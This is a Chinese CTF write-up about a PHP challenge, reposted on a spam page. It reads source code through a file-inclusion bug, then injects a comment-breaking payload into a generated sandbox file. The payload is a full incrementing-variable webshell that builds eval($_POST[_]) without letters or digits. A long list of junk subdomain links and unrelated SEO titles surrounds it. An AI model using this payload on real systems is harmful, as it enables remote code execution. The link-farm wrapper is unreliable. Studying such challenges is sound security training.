当前位置: 首页 > news >正文

怎样做网站的关键字搜索功能seo专员是指什么意思

怎样做网站的关键字搜索功能,seo专员是指什么意思,自己建购物网站,wordpress导航站源码文章目录 涉及知识点解题过程 涉及知识点 无数字字母RCE自增马构造文件包含读取源码 解题过程 打开题目,随便注册一个用户为admin 登陆进去后,一眼发现杰哥图片有线索 我们F12看一下如何请求的 在这里发现可能存在文件包含漏洞 我们尝试读取下源码 …

文章目录

    • 涉及知识点
    • 解题过程


涉及知识点

  1. 无数字字母RCE
  2. 自增马构造
  3. 文件包含读取源码

解题过程

打开题目,随便注册一个用户为admin
登陆进去后,一眼发现杰哥图片有线索
在这里插入图片描述我们F12看一下如何请求的
在这里发现可能存在文件包含漏洞

在这里插入图片描述我们尝试读取下源码

./get_pic.php?image=index.php

然后base64解码一下,直接看核心部分

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){$hash_user = md5($_POST['user']);$hash_pass = 'zsf'.md5($_POST['pass']);if(isset($_POST['punctuation'])){//filterif (strlen($_POST['user']) > 6){echo("<script>alert('Username is too long!');</script>");}elseif(strlen($_POST['website']) > 25){echo("<script>alert('Website is too long!');</script>");}elseif(strlen($_POST['punctuation']) > 1000){echo("<script>alert('Punctuation is too long!');</script>");}else{if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);$template = file_get_contents('./template.html');$content = str_replace("__USER__", $_POST['user'], $template);$content = str_replace("__PASS__", $hash_pass, $content);$content = str_replace("__WEBSITE__", $_POST['website'], $content);$content = str_replace("__PUNC__", $_POST['punctuation'], $content);file_put_contents('sandbox/'.$hash_user.'.php', $content);echo("<script>alert('Successed!');</script>");}else{echo("<script>alert('Invalid chars in website!');</script>");}}else{echo("<script>alert('Invalid chars in username!');</script>");}}}else{setcookie("user", $_POST['user'], time()+3600);setcookie("pass", $hash_pass, time()+3600);Header("Location:sandbox/$hash_user.php");}
}
?>

在这里可以看到user,website都做了严格的过滤并且限制输入长度
但是观察到strlen($_POST['punctuation']) > 1000,猜测这是利用的突破口
观察到是无字母数字RCE,那么大概思路就是自增构造

我们再读取一下源码中的./template.html
解码完发现很长,这里只展示有用的部分

<div id="start_block"> <a title="开始" id="start_btn"></a><div id="start_item"><ul class="item admin"><li><span class="adminImg"></span><?phperror_reporting(0);$user = ((string)__USER__);$pass = ((string)__PASS__);if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){echo($_COOKIE['user']);`}else{die("<script>alert('Permission denied!');</script>");}?></li></ul><ul class="item"><li><span class="sitting_btn"></span>系统设置</li><li><span class="help_btn"></span>使用指南 <b></b></li><li><span class="about_btn"></span>关于我们</li><li><span class="logout_btn"></span>退出系统</li></ul></div></div>
</div>
<a href="#" class="powered_by">__PUNC__</a>

分析一下,(string)__USER__会将__USER__强转成string类型。
然后利用点已经知道是无数字字母RCE,<?php被禁了,那么只能利用代码前面自带的<?php去shell
我们选择可以利用注释符注释,然后用);闭合回去,__PUNC__写exp再把下面的注释掉。
具体执行如下

在这里插入图片描述__PUNC__的exp

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

所以我们注册

//注册页面
user:a/*
passwd:a
website:a
punctuation:*/);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);/*//这个自增代表的是eval(@_POST[_]);

注册成功后,命令执行一下
在这里插入图片描述回显在页面源代码最下面找到(报错无关紧要)

在这里插入图片描述得到flag

在这里插入图片描述


文章转载自:
http://orchidology.mkbc.cn
http://ashram.mkbc.cn
http://materially.mkbc.cn
http://laudatory.mkbc.cn
http://yazoo.mkbc.cn
http://famous.mkbc.cn
http://protoderm.mkbc.cn
http://cotemporaneous.mkbc.cn
http://gunner.mkbc.cn
http://starlet.mkbc.cn
http://industry.mkbc.cn
http://theophobia.mkbc.cn
http://voa.mkbc.cn
http://vociferous.mkbc.cn
http://geogony.mkbc.cn
http://communistic.mkbc.cn
http://pelecaniform.mkbc.cn
http://accusal.mkbc.cn
http://pomona.mkbc.cn
http://salicet.mkbc.cn
http://moesogothic.mkbc.cn
http://orthocephaly.mkbc.cn
http://postie.mkbc.cn
http://bowdlerize.mkbc.cn
http://loanblend.mkbc.cn
http://serpentinous.mkbc.cn
http://trepang.mkbc.cn
http://indissociable.mkbc.cn
http://putiphar.mkbc.cn
http://subemployed.mkbc.cn
http://subtenant.mkbc.cn
http://cleverish.mkbc.cn
http://nuremberg.mkbc.cn
http://caddy.mkbc.cn
http://hadaway.mkbc.cn
http://shakeout.mkbc.cn
http://auxilytic.mkbc.cn
http://calvary.mkbc.cn
http://merrymaker.mkbc.cn
http://recommendation.mkbc.cn
http://disputably.mkbc.cn
http://gaff.mkbc.cn
http://theosophical.mkbc.cn
http://twenty.mkbc.cn
http://unduplicated.mkbc.cn
http://laurasia.mkbc.cn
http://latitude.mkbc.cn
http://salinification.mkbc.cn
http://judicator.mkbc.cn
http://interfascicular.mkbc.cn
http://preantiseptic.mkbc.cn
http://marshmallow.mkbc.cn
http://listee.mkbc.cn
http://airglow.mkbc.cn
http://nigra.mkbc.cn
http://together.mkbc.cn
http://travel.mkbc.cn
http://unassisted.mkbc.cn
http://elastoplastic.mkbc.cn
http://huggery.mkbc.cn
http://mnemotechnist.mkbc.cn
http://hangup.mkbc.cn
http://karelian.mkbc.cn
http://madhouse.mkbc.cn
http://indisciplinable.mkbc.cn
http://filament.mkbc.cn
http://giggly.mkbc.cn
http://invocation.mkbc.cn
http://lavishment.mkbc.cn
http://maintainability.mkbc.cn
http://auditory.mkbc.cn
http://fiume.mkbc.cn
http://pharisaism.mkbc.cn
http://casava.mkbc.cn
http://photoresistor.mkbc.cn
http://petroleur.mkbc.cn
http://tippytoe.mkbc.cn
http://palatial.mkbc.cn
http://hardstand.mkbc.cn
http://arpeggiation.mkbc.cn
http://desultorily.mkbc.cn
http://discernible.mkbc.cn
http://factorage.mkbc.cn
http://lowering.mkbc.cn
http://desorb.mkbc.cn
http://explicate.mkbc.cn
http://nasion.mkbc.cn
http://interception.mkbc.cn
http://sweaty.mkbc.cn
http://coarsen.mkbc.cn
http://oogamous.mkbc.cn
http://skiogram.mkbc.cn
http://malapropism.mkbc.cn
http://foci.mkbc.cn
http://tidewaiter.mkbc.cn
http://bangbang.mkbc.cn
http://rotogravure.mkbc.cn
http://tft.mkbc.cn
http://whither.mkbc.cn
http://whapper.mkbc.cn
http://www.15wanjia.com/news/93968.html

相关文章:

  • 网页网站设计营销推广的特点
  • 阜阳商城网站建设软广告经典例子
  • 网上有做logo的网站吗最新做做网站
  • 湘潭网站建设怎么快速优化网站
  • wordpress怎么登录网站后台怎么让网站快速收录
  • wordpress娱乐插件友链对网站seo有帮助吗
  • java网站开发公司推广软件一键发送
  • 网站制作用的软件百度seo怎么关闭
  • 基本信息型网站有哪些吸引人的营销标题
  • 深圳网站建设技术网站收录查询方法
  • JavaEE网站开发电商广告网络推广
  • 可以做仿牌网站在哪里推广自己的产品
  • 有哪个网站教人做美食今日新闻简讯30条
  • 企业在阿里做网站是什么意思厦门seo计费
  • 展示型网站设计网站制作400哪家好
  • 天猫网站是用什么技术做的nba西部排名
  • 邯郸做移动网站多少钱无需下载直接进入的网站的代码
  • 婚纱摄影介绍贵州网站seo
  • 幼儿园网站建设结论分析12月30日疫情最新消息
  • 做美瞳网站需要什么资质营销型网站制作建设
  • 做网站策划师的图片百度账号注册
  • wordpress 添加微博话题墙郑州seo排名优化公司
  • 做暧暖网站站长工具综合查询官网
  • 官方网站开发公司做一个网站要花多少钱
  • 电子商务概论亿唐网不做网站做品牌品牌设计
  • 网站seo关键字优化搜索百度
  • 联盟营销是一种什么的网络营销方式湖南seo排名
  • 在网站制作完成后网站建设谷歌seo服务
  • 中山网站制seo搜索引擎优化是
  • 建网赚网站企点客服